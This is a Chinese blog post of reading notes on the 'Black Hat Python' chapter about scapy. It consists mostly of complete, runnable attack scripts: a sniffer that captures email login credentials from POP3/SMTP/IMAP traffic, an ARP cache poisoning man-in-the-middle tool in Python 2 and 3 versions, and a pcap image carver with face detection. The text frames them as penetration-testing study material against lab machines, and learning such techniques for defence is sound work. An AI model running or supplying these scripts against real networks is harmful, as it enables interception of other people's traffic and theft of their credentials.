《Python黑帽子:黑客与渗透测试编程之道》读书笔记:scapy——网络的掌控者

Posted 思源湖的鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了《Python黑帽子:黑客与渗透测试编程之道》读书笔记:scapy——网络的掌控者相关的知识,希望对你有一定的参考价值。

前言

《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书

本篇是第4章scapy:网络的掌控者,包括简单的窃取email信息,ARP缓存投毒实现,处理PCAP文件里的图像,注意scapy在linux下比较好

1、窃取email认证

先简单的写个嗅探捕获SMTP、POP3、IMAP的认证信息

#!/usr/bin/env python
#-*- coding:utf8 -*-

from scapy.all import *

# 定义数据包回调函数
def packet_callback(packet):
    if packet[TCP].payload:
        # 先确认有payload
        mail_packet = str(packet[TCP].payload)
        # 检查有user和pass这种邮件的典型命令
        if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
            print "[*] Server: %s" % packet[IP].dst
            print "[*] %s" % packet[TCP].payload
    # show函数解析所有协议信息并输出,是调试脚本的好办法
    # print packet.show()

# 开启嗅探器(对常见电子邮件端口进行嗅探110(POP3), 25(SMTP), 143(IMAP), store=0:不保留原始数据包,长时间嗅探的话不会暂用太多内存
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0)

2、ARP缓存投毒

ARP协议可参考:一文搞明白ARP
ARP欺骗可参考:一文了解ARP欺骗

ARP缓存投毒,就是把欺骗写进缓存
可以用arp -a来看缓存表

#!/usr/bin/env python
#-*- coding:utf8 -*-

from scapy.all import *
import os
import sys
import threading
import signal

interface   = "eth0"    #要嗅探的网卡
target_ip   = "10.10.10.140"        #目标ip,这里测试的是另外一台虚拟机winxp
gateway_ip  = "10.10.10.2"        #网关ip,这里是虚拟机的网关
packet_count = 1000

def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):

    # 以下代码调用send函数的方式稍有不同
    print "[*] Restoring target..."
    send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5) #只需发送到广播地址
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)

    # 发出退出信号到主线程
    os.kill(os.getpid(), signal.SIGINT)

def get_mac(ip_address):

    # srp函数(发送和接收数据包,发送指定ARP请求到指定IP地址,然后从返回的数据中获取目标ip的mac)
    responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10)
    # 返回从响应数据中获取的MAC地址
    for s,r in responses:
        return r[Ether].src
    return None

def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):

    # 构建欺骗目标的ARP请求(),这里没设置hwsrc,默认就是本机咯
    # 简单来说:告诉被攻击机器,本机(攻击机)的mac是网关,就是攻击者的机器是网关
    poison_target = ARP()
    poison_target.op = 2                # 响应报文
    poison_target.psrc = gateway_ip     # 模拟是网关发出的, 其实是我们的机器发出的
    poison_target.pdst = target_ip      # 目的地是目标机器
    poison_target.hwdst = target_mac    # 目标的物理地址是目标机器的mac

    # 构建欺骗网关的ARP请求(),这里没设置hwsrc,默认就是本机咯
    poison_gateway = ARP()
    poison_gateway.op = 2               # 响应报文
    poison_gateway.psrc = target_ip     # 模拟是目标机器发出的,
    poison_gateway.pdst = gateway_ip    # 目的地是网关
    poison_gateway.hwdst = gateway_mac  # 目标的物理地址是网关的mac

    print "[*] Beginning the ARP poison. [CTRL_C to stop]"

    while True:
        try:
            # 开始发送ARP欺骗包(投毒)
            send(poison_target)
            send(poison_gateway)
            # 停两秒
            time.sleep(2)
        except KeyboardInterrupt:
            restore_target(gateway_ip, gateway_mac, target_ip, target_mac)

    print "[*] ARP poison attack finished"
    return

# 设置嗅探的网卡
conf.iface = interface

# 关闭输出
conf.verb = 0

print "[*] Setting up %s" % interface

# 获取网关mac
gateway_mac = get_mac(gateway_ip)

if gateway_mac is None:
    print "[!!!] Failed to get gateway MAC. Exiting"
    sys.exit(0)
else:
    print "[*] Gateway %s is at %s" % (gateway_ip, gateway_mac)

# 获取目标(被攻击的机器)mac
target_mac = get_mac(target_ip)

if target_mac is None:
    print "[!!!] Failed to get target MAC. Exiting"
    sys.exit(0)
else:
    print "[*] Target %s is at %s" % (target_ip, target_mac)

# 启动ARP投毒(欺骗)线程
poison_thread = threading.Thread(target = poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()

try:
    print "[*] Starting sniffer for %d packets" % packet_count

    bpf_filter = "ip host %s " % target_ip  # 过滤器
    packets = sniff(count = packet_count, filter=bpf_filter, iface = interface)

    # 将捕获到的数据包输出到文件
    wrpcap("arper.pcap", packets)
    # 还原网络配置
    restore_target(gateway_ip, gateway_mac, target_ip, target_mac)

except KeyboardInterrupt:
    # 还原网络配置
    restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
    sys.exit(0)

Python3版本

#!/usr/bin/env python
#-*- coding:utf8 -*-

from scapy.all import *
import os
import sys
import threading

interface    = "eth0"
target_ip    = "192.168.1.145"
gateway_ip   = "192.168.1.1"
packet_count = 1000
poisoning    = True

# 发送定制的ARP数据包到网络广播地址上
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
    
    # 以下调用send函数的方法略有不同
    print("[*] Restoring target...")
    send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)
    

def get_mac(ip_address):
    
    responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)
    
    # 返回从响应数据中获取的MAC地址
    for s,r in responses:
        return r[Ether].src
    
    return None
    
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
    global poisoning

    poison_target = ARP()
    poison_target.op   = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst= target_mac

    poison_gateway = ARP()
    poison_gateway.op   = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst= gateway_mac

    print("[*] Beginning the ARP poison. [CTRL-C to stop]")

    while True:
        try:
            send(poison_target)
            send(poison_gateway)
            time.sleep(2)
        except KeyboardInterrupt:
            restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
          
        time.sleep(2)
          
    print("[*] ARP poison attack finished.")

    return

# 设置网卡
conf.iface = interface

# 关闭输出
conf.verb  = 0

print("[*] Setting up %s" % interface)

gateway_mac = get_mac(gateway_ip)

if gateway_mac is None:
    print("[!!!] Failed to get gateway MAC. Exiting.")
    sys.exit(0)
else:
    print("[*] Gateway %s is at %s" % (gateway_ip,gateway_mac))

target_mac = get_mac(target_ip)

if target_mac is None:
    print("[!!!] Failed to get target MAC. Exiting.")
    sys.exit(0)
else:
    print("[*] Target %s is at %s" % (target_ip,target_mac))
    
# 开启ARP投毒线程
poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac,target_ip,target_mac))
poison_thread.start()

try:
    print("[*] Starting sniffer for %d packets" % packet_count)
    
    bpf_filter  = "ip host %s" % target_ip
    packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)
    # 将捕获到的数据包输出到文件
    wrpcap('arper.pcap',packets)
    # 还原网络配置
    restore_target(gateway_ip,gateway_mac,target_ip,target_mac)

except KeyboardInterrupt:
    restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
    sys.exit(0)

3、PCAP文件处理

尝试从HTTP流量中提取图像

#!/usr/bin/env python
#-*- coding:utf8 -*-

import re
import zlib
import cv2

from scapy.all import *

pictures_directory = "./pictures/"
faces_directory = "./faces/"
pcap_file = "test.pcap"

def get_http_headers(http_payload):
    try:
        # 如果为http流量,提取http头
        headers_raw = http_payload[:http_payload.index("\\r\\n\\r\\n")+2]

        # 用正则对http头进行切分
        headers = dict(re.findall(r"(?P<name>.*?):(?P<value>.*?)\\r\\n", headers_raw))

    except:
        return None

    if "Content-Type" not in headers:
        return None

    return headers

# 解析http头,看是否有图像
def extract_image(headers, http_payload):
    image = None
    image_type = None

    try:
        if "image" in headers['Content-Type']:
            #获取图像类型和图像数据
            image_type = headers['Content-Type'].split("/")[1]
            image = http_payload[http_payload.index("\\r\\n\\r\\n")+4:]
            #如果数据进行了压缩则解压
            try:
                if "Content-Encoding" in headers.keys():
                    if headers['Content-Encoding'] == "gzip":
                        image = zlib.decompress(image, 16+zlib.MAX_WBITS)
                    elif headers['Content-Encoding'] == "deflate":
                        image = zlib.decompress(image)
            except:
                pass
    except:
        return None, None

    return image,image_type

# 人脸检测
def face_detect(path, file_name):
    img = cv2.imread(path) #读取
    cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml") #分类算法检测
    rects = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_SCALE_IMAGE, (20,20))

    if len(rects) == 0:
        return False

    rects[:, 2:] += rects[:, :2]

    #对图像中的人脸进行高亮的显示处理
    for x1, y1, x2, y2 in rects:
        cv2.rectangle(img, (x1,y1), (x2,y2), (127,255,0), 2)

    cv2.imwrite("%s/%s-%s" (faces_directory, pcap_file, file_name), img)
    return True

def http_assembler(pcap_file):

    carved_images = 0
    faces_detected = 0
    # 打开pcap文件
    a = rdpcap(pcap_file)

    sessions = a.sessions()
    # 分割TCP中的session并保存
    for session in sessions:
        http_payload = ""
        for packet in sessions[session]:
            try:
                if packet[TCP].dport == 80 or packet[TCP].sport == 80:
                    # 对数据组包,类似wireshark中的follow TCP stream
                    http_payload += str(packet[TCP].payload)
            except:
                pass
        # 将上面这个缓存的内容作为参数,调用http头分割函数
        headers = get_http_headers(http_payload)

        if headers is None:
            continue
        # 提取图像
        image, image_type = extract_image(headers, http_payload)
        if image is not None and image_type is not None:
            # 存储图像
            file_name = "%s-pic_carver_%d.%s" % (pcap_file, carved_images, image_type)
            fd = open("%s/%s" % (pictures_directory, file_name), "wb")

            fd.write(image)
            fd.close()

            carved_images += 1

            #开始人脸识别
            try:
                result = face_detect("%s/%s" % (pictures_directory, file_name), file_name)
                if result is True:
                    faces_detected += 1
            except:
                pass

    return carved_images, faces_detected

carved_images, faces_detected = http_assembler(pcap_file)

print "Extracted: %d images" % carved_images
print "Detected: %d faces" % faces_detected

结语

利用scapy实现email信息窃取,arp缓存投毒,pcap提取图像

以上是关于《Python黑帽子:黑客与渗透测试编程之道》读书笔记:scapy——网络的掌控者的主要内容,如果未能解决你的问题,请参考以下文章

《Python黑帽子:黑客与渗透测试编程之道》读书笔记:Windows提权

《Python黑帽子:黑客与渗透测试编程之道》读书笔记:Windows提权

《Python黑帽子:黑客与渗透测试编程之道》读书笔记:扩展burp代理

《Python黑帽子:黑客与渗透测试编程之道》读书笔记:扩展burp代理

《Python黑帽子:黑客与渗透测试编程之道》读书笔记:自动化攻击取证

《Python黑帽子:黑客与渗透测试编程之道》读书笔记:基于github的木马